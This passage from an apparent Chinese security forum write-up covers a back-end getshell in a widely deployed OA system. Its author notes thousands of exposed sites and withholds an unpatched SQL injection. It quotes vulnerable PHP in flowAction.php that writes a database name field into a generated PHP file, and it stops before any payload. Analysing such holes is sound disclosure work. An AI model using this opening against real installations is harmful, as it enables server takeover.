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
<a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624222026-e6ba8ffe-3234-1.jpeg><img src=data:image/jpeg;base64,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
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624223118-6b3f7432-3236-1.png><img src="data:image/png;base64,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
<p>我寻思这系统是没人用还是咋地,那fofa还将近6000的站点。</p>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624222847-11ca7ef6-3236-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0sAAAMQCAYAAAD2Df5CAAEAAElEQVR4nOz9e3xV1Z3H/78SQcFevATMSUhiGpWigkgySWDG+KUV29EEqKXQ2DaisRNAcbCZWnlkuPxCmHxxbBmYarlMTY1plUKxRRPtVNv6Jc5AkkmCgpZBTdMk5ByEKLRTb2jy+2Pvc84+5+xzy/UkvJ+PRx7m7Mvaa1+C63M+a60dN+7Tl/chIiIiIiIiPuJHugIiIiIiIiKxSMGSiIiIiIiIDQVLIiIiIiIiNhQsiYiIiIiI2FCwJCIiIiIiYkPBkoiIiIiIiA0FSyIiIiIiIjYULImIiIiIiNhQsCQiIiIiImJDwZKIiIiIiIgNBUsiIiIiIiI2FCyJiIiIiIjYULAkIiIiIiJiQ8GSiIiIiIiIDQVLIiIiIiIiNhQsiYiIiIiI2FCwJCIiIiIiYkPBkoiIiIiIiA0FSyIiIiIiIjYULImIiIiIiNhQsCQiIiIiImJDwZKIiIiIiIgNBUsiIiIiIiI2FCyJiIiIiIjYULAkIiIiIiJiQ8GSiIiIiIiIDQVLIiIiIiIiNhQsiYiIiIiI2FCwJCIiIiIiYkPBkoiIiIiIiA0FSyIiIiIiIjYULImIiIiIiNhQsCQiIiIiImJDwZKIiIiIiIgNBUsRmHnnespKb8Ux0hWRGJfCzaXrKbsza4SrcSv3bihi5sjWQiT2fPNdOv/yNg+NdD1ERGTUULAUTnYR+RnQVv8crpGuS5Rm3hm84e4ouH/kG/VjjKPga2RffIamF5sj3COLwrBBjRGAFWZHUZGu53i5LYN8BfjyzXfpfPNd7gi2fuPbnA2y/o4njwdd5/bQ/j/R+eRHtuXaLo/Gxrc5GzSw+Yg9b/6Jho0DO4SIiEg444bnMP9EXPedxPkt7Xv+n+m7+5nguy3ZQvyWmyLcfgHxh/6F3r0zoCJ0Obz6OL1//4Pw1U65lXvnZwCQMX89ZfODbHe6iarN1mAqi8INBWSEP4JNOSeYG2bfM41N9ORkB2xzpvExHq3t8tT9howzNO2MtOHuy1FwP8U5F0W8vc+xw5U7qZ7Kx4PVy/9ZOUXf/V+gb3eQzdf+nPgV1wRZae77+Qi22W13bEPY5xQgu8hzvbJL1hM0tmmrtZx7My815lF8ZxavPN6M8dxcwx/W1fBK6KOF9crjtVy9IY8ZKc/hCnVbUm7l3pKpHNu5hRe6wAjO7ib74iDVf7acXU3BCsuicEMePZ6yhkfcrw/Dces9Mv4t4LIgO/j8/ftt+/Zv6b3+/iGt7/D6FAe7nTz2l/eYv3wKi39mWfXNd+lc9T4tWy/jiYD9PmJ+zse4Gj9lsy68OwDmO2nYeDm5a4zA67H5H4fdr2WrsX2gj9jzppOvJJofWz/LrwAy3qXzL3/2fCng2X/j25xd9X7Q45T+5U+URnV8ERE5Vw1PsLQklbhwjd6AfYwAx9tQNRs1j2HbcI37dbDG0T8R51OO0SCO/zVhAqYsCkuyuQhsgiFTdhFl8zOCZJ3O0GRpNPoHCaGChl3rmr3lX/s6la9dY/zXum3tc5Y9jAbuVOvnJdnQ+Jh5/GDBWwFlGwqC1tk+CPRvDPsfO4SUW1mU00PdujCBkrUx+9jvid/yeyDIs1PxdXr9g2NPObXmPpFsQ/+eU/O83EG1bzDkZQSfBGSdXLW/oKn0bgoLEknIyabn2fIoAqXQgQ1ARpDALWxwa3ce2UWUzV9PIcECpmZ2PXsNZUtu5bDd38tQeOz3xF0HfcetC5+h93qb4Pax3xN/C/RV+QVKrsfpvf4Hns/xv/6nyL5MGQ1+dj6Lf3Y5D+3/E6Xl73LHzy4xg5+/0rD9z/Bskn1w8M2/MjsRutvONz5bgg/Xs5M4mHPKG7jMcnL2LwDj+JUZkD2x5jKe4G3OrjrOnj9MYfE3poQJuoxgKC3M6XiDmY/Y8+afoe0SUj9zSeD+ay5jvO15vUvn9rM8+ZnLeDDMsURERGC4gqXPJwFvQxQN0Ljim+Dt31oCo2forfwi8Vu+A0uesTRm7bMBHo8VEMfrlnJ+QN+2HOJW5BAH9NnulMLNpQVkmA1GR8H9FG+Yagkk3I3UMzTtLB/Wb9Ejkv0Fsi9uo87TGG72BmCm8Bke4OJsijcENrXtGuBnwlbKG8AFDQbW5hj3ytpQvfvf4NC/EFf8T/TtjqwBG/frOwPLiWSbfjyn7qCaxseorO0yuj5uuIY6T3bIHai2WZZZdfFCfRtl87O9WRszCPfhk9l0l9XFC5vLeSGa6g5EUw11164n/9osaAry3DT9nqa8u5mb/VyIDNRgCJM98rdkC/G3TDK+NHHf37XfhMtO0Vfpfgbc/8YUELfkB9EFzDHnrzT85RSZPsv+zGN/+TOPWRfNdwc6ABPZbAYRd+S/hwNwrPoTZ1cZQcr4z5gBSdunWPyNTwFGN7xvdCWR+o2zNPzltG8V1lzG5hv/xNyro6z6N9+lc7s3W1T6lz9R6s4kiYiIDLPhCZbSL4NXa4MEJnYWEOeAvubf+S7e3Unflpvo+7x7gRkovf1beivx7Wo3ENlfIPsd7zfrrtotVJ4ooswSJJwxG8eRSpx0EWdOnYhoW98ucBmUZZj/3VBAQPYnQBaF8zNoMzMURlk9QRrqYQxmZinlOqZefIZjh0JcM9ss0TP0uf4leDDsb8kW4q6D3m1fj36bqJ9TcBTkkWDJ0rzyeDknCu6neMN68s1t2p4tpzJY4GAXGIHl2hvXN6HeDKRSbuXekgS/jY2AjJBd5MwA/x37zFdULk3EAUEyR10cPnaG4rxbcTQNVXbJHSi9Tl9yI3TfGXaPwC9fMO7326/4BkW7fwdlN8GXF8Bum+yUu9vis8eYOt/MPGNm6g5dx73ubLT/32nKrZZ1QNDgebB8itzPfMpmuRFEEbK72V+5d/7HAV3S7njyJF/pnsTdGcc5+xdLl7pZ3oArc/ufaLjau9+DN15OQBc6Gy1bk+hwf/jZJaT+7BIzm4UZwBmZpEwzePN0w/Mru8Us4qH9f6J0VvDjBeuGR+skxt9od91ERORcNQzB0gLisybBZXcSb2nURDQOJIi49AX08QzwA/qSf2A0bpdssd/47lr6uu+ExxaAuxveimvg1ceDN4qbaiyNW/uuThfl3E3Z1CDd8wZDW623+52nGx4UbsgLvV/2NUZ3O08m4gxNO2t4xbZR7tsNL9JxR/3huH4qF50+xuGoi/8nuA76nn8joq3djeKAcWtht+nfc+qq3cKjnk/23R0z5q+n7FqbICXlVu6dn0DTznIOX38/xaEyNiE184e2AvJDBSgp1zH1YmirH0iglMJllwLvnAj5zLsOHeNMztTw46X6zdrN7p/CB9Ke4Ph+n8VxUyaBq9N2l7gpV4UImi8ie34CdeuMLyRm3rme/Jy7Kctp811WUsTb62p4xQyUep4t51Hz35WZd64nv/RWTgxXd8VofPMjkvFmlWAim5eP5xvzx7P5M5/iCbzjmPwzSx3+46IAOJ/FV14e5qAfsacwfNUCuuF5yg7sxud6NonUb5zv+WyMmxrvyZ75u+PJ4zyWEr4OIiJybhmGYOkq+i7DyP64B04v2UL8luDjjzzZhKwvmkGRaUlqiK5zwfyAvuQ3iD/0L8R1/wtgNIB7gzWAA74BNrraVdo1+lJu5d4N6/22tcv6mI3MU8Fr6Si4n+Kpx6ja/FzwjSzl2QVwZ8Ab6PkP3O+qCZ7dCGbQuuGlMGPqRWEb2bYeKzDGEf1nBIG12Sjue/53/dimH89pQABqNJZ32R03u8hvfJiRWXh0nft+H+NMyTXMpLlf2YZXXmzihpLgAYrj+qlcRBsvD6BrnDHbXwQBV9cJesgmIQmIgS6qccU3Aa8TVxHtvx3BnWn8vec+vfJaG/kZGbQ9W+O3LIHLUoCkBC7iDMec3v1feTyasWnDzMzsGMHDxYy/8VPc8eRxHHxM
<p>这是个组合拳sql注入拿token进后台getshell,因为前台注入没修就不写出来了。只分享个后台getshell。<br>
写文章这不能也给我驳回了吧。</p>
<p><strong>漏洞触发点</strong>-</p>
<p>Path: webmain/main/flow/flowAction.php<br>
method: inputAction</p>
<div class=highlight><pre><span></span><span class=x>public function inputAction()</span>
<span class=x> {</span>
<span class=x> $setid = (int)$this-&gt;get('setid','0');</span>
<span class=x> if($this-&gt;setinputid&gt;0)$setid = $this-&gt;setinputid;</span>
<span class=x> $atype = $this-&gt;get('atype');</span>
<span class=x> $rs = m('flow_set')-&gt;getone("`id`='$setid'");</span>
<span class=x> if(!$rs)exit('sorry!');</span>
<span class=x> ...........................</span>
<span class=x> ...........................</span>
<span class=x> $apaths = ''.P.'/flow/input/mode_'.$modenum.'Action.php';</span>
<span class=x> $apath = ''.ROOT_PATH.'/'.$apaths.'';</span>
<span class=x> if(!file_exists($apath)){</span>
<span class=x> $stra = '</span><span class=cp>&lt;?php</span>
<span class=sd>/**</span>
<span class=sd>* 此文件是流程模块【'.$modenum.'.'.$rs['name'].'】对应控制器接口文件。</span>
<span class=sd>*/</span>
<span class=k>class</span> <span class=nc>mode_</span><span class=s1>'.$modenum.'</span><span class=nx>ClassAction</span> <span class=k>extends</span> <span class=nx>inputAction</span><span class=p>{</span>
<span class=sd>/**</span>
<span class=sd> * 重写函数:保存前处理,主要用于判断是否可以保存</span>
<span class=sd> * $table String 对应表名</span>
<span class=sd> * $arr Array 表单参数</span>
<span class=sd> * $id Int 对应表上记录Id 0添加时,大于0修改时</span>
<span class=sd> * $addbo Boolean 是否添加时</span>
<span class=sd> * return array(\'msg\'=&gt;\'错误提示内容\',\'rows\'=&gt; array()) 可返回空字符串,或者数组 rows 是可同时保存到数据库上数组</span>
<span class=sd> */</span>
<span class=k>protected</span> <span class=k>function</span> <span class=nf>savebefore</span><span class=p>(</span><span class=nv>$table</span><span class=p>,</span> <span class=nv>$arr</span><span class=p>,</span> <span class=nv>$id</span><span class=p>,</span> <span class=nv>$addbo</span><span class=p>){</span>
<span class=p>}</span>
<span class=sd>/**</span>
<span class=sd> * 重写函数:保存后处理,主要保存其他表数据</span>
<span class=sd> * $table String 对应表名</span>
<span class=sd> * $arr Array 表单参数</span>
<span class=sd> * $id Int 对应表上记录Id</span>
<span class=sd> * $addbo Boolean 是否添加时</span>
<span class=sd> */</span>
